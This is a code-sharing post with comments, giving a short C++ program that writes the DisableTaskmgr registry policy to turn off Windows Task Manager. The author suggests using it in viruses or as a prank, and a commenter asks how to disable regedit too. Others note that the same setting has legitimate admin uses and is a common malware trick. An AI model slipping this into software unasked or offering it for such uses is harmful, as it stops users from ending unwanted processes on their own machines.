Disable Task Manager

By A^1^T^E^A^M on Feb 14, 2009

Disable your task manager. To enable it again, download this registry file.

#include <windows.h>

int main()
{
  DWORD dwVal = 1;

  HKEY hKey;
  RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\", 0, KEY_ALL_ACCESS, &hKey);
  RegSetValueEx (hKey, "DisableTaskmgr", 0, REG_DWORD, (LPBYTE)&dwVal , sizeof(DWORD));
  RegCloseKey(hKey);
  return 0;
}

Comments

Sign in to comment.
ambra69   -  May 17, 2015

include

int main()
{
DWORD dwVal = 1;

HKEY hKey;
RegOpenKeyEx(HKEY_CURRENT_USER, L"Software\Microsoft\Windows\CurrentVersion\Policies\System\", 0, KEY_ALL_ACCESS, &hKey);
RegSetValueEx (hKey, L"DisableTaskmgr", 0, REG_DWORD, (LPBYTE)&dwVal , sizeof(DWORD));
RegCloseKey(hKey);
return 0;
}

 Respond  
TaTso   -  Jan 18, 2015

i use This Code in Microsoft Visual 2012 But not work and Error :

Error 1 error C2664: 'RegOpenKeyExW' : cannot convert parameter 2 from 'const char [59]' to 'LPCWSTR'

ambra69  -  May 17, 2015

add L before the String text
RegOpenKeyEx(HKEY_CURRENT_USER, L"Software\Microsoft\Windows\CurrentVersion\Policies\System\", 0, KEY_ALL_ACCESS, &hKey);

Sign in to comment

TaTso   -  Jan 18, 2015

Hi Dear.
Please Help Me . . . How Can i Disable registry And regedit By c++ Code ?? Whats c++ code to Disable Registry in windows 7 ??

 Respond  
afp_romania   -  Dec 04, 2012

It is important to know has you can disable, because some viruses disable task manager, and you have to reenable it :) to stop processes or background apps.

 Respond  
A^1^T^E^A^M   -  Feb 14, 2009

Okey, but I'm just saying for what you can use... I'm not wicked.

 Respond  
Hawkee   -  Feb 14, 2009

A1, come on, let's not suggest using this for malicious purposes.

 Respond  
A^1^T^E^A^M   -  Feb 14, 2009

You can use it it you make some viruses, or just to kidding with your friends. :)

 Respond  
zexx0r   -  Feb 14, 2009

if you're a school administrator or smthing ;)
so student's can't shut down vnc :)

 Respond  
Aucun50   -  Feb 14, 2009

Task manager is one of the most handy things ever why would you wont to Disable it?

 Respond  
Are you sure you want to unfollow this person?
Are you sure you want to delete this?
Click "Unsubscribe" to stop receiving notices pertaining to this post.
Click "Subscribe" to resume notices pertaining to this post.